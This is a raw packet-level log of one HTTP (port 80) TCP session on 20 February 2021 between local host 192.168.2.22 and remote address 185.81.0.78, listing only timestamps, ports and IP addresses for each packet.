Feb 20, 2021 02:03:51.033179998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.033209085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.033209085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.033231974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.033246994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.033262014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.033278942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.033303022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.033314943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.033339024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.033341885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.033375025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.033471107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.033497095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.033515930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.033519030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.033529043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.033551931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.033575058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.033610106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.033651114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.033689022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.033735991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.033802032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.033849001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.033873081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.033890009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.033905029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.033940077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.033982038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.034009933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.034046888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.034096003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.034135103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.034187078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.034224033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.034245968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.034285069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.034329891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.034368992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.034430981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.034470081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.034487009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.034524918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.034584999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.034686089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.034693956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.034734011 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.034766912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.034806967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.034849882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.034889936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.034929037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.034967899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.034989119 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.035027027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.035130978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.035171032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.035223007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.035252094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.035262108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.035295010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.035408020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.035429955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.035451889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.035465002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.035501003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.035540104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.035561085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.035599947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.035629034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.035665989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.035705090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.035732985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.035742998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.035765886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.035788059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.035801888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.035870075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.035913944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.035913944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.035940886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.035957098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.035965919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.035975933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036009073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036062002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036101103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036125898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036164045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036212921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036242008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036250114 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036289930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036313057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036353111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036354065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036397934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036400080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036442995 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036447048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036472082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036487103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036501884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036509037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036531925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036547899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036633968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036659956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036662102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036670923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036684036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036691904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036722898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036824942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036851883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036871910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036875963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036890984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036919117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036927938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036966085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.036967039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.036990881 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037007093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037014961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037028074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037054062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037075043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037116051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037120104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037147045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037158012 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037188053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037225008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037264109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037264109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037288904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037302017 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037319899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037332058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037357092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037370920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037383080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037396908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037452936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037471056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037494898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037512064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037530899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037581921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037606955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037632942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037642956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037661076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037688017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037699938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037724972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037744045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037784100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037787914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037812948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037826061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037852049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037856102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037895918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037899971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037940025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.037974119 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.037998915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038014889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038033962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038041115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038068056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038093090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038108110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038110018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038146973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038147926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038183928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038187981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038213015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038228035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038237095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038244963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038278103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038301945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038302898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038317919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038343906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038347006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038381100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038383961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038403988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038428068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038439035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038443089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038470984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038475990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038511992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038516045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038552999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038553953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038578987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038592100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038618088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038628101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038669109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038683891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038719893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038739920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038779020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038795948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038805008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038806915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038817883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038820982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038861036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038896084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038940907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.038952112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038975954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.038990974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.039019108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.039043903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.039047003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.039057016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.039067030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.039078951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.039105892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.039108038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.039134979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.039145947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.039170980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.039171934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.039195061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.039210081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.039218903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.039228916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.039242029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.039264917 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.039274931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.039305925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.039329052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.039346933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.039346933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.039376974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.039385080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.039403915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.039416075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.085634947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.085705996 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.085730076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.085756063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.085779905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.085941076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.085952044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.085978985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.086000919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.086023092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.086031914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.086036921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.086040020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.086056948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.086069107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.086081982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.086085081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.086086988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.087153912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087184906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087209940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087233067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087311029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087327957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087344885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087344885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.087363005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.087363958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087409019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.087414026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.087466955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087502003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087523937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.087524891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087548018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087560892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.087569952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087589025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.087591887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.087646008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.087672949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.087696075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087718964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.087721109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087742090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087753057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.087785959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087791920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.087812901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087836027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087846994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.087877035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.087898970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.087908983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.087955952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.087990999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088012934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088012934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088059902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088061094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088085890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088085890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088109970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088138103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088186026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088212013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088232994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088253975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088289022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088294983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088298082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088320971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088334084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088344097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088350058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088356972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088362932 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088365078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088368893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088404894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088407040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088417053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088423014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088427067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088449955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088469028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088476896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088510990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088511944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088536978 CET	80	49165	185.81.0.78	192.168.2.22
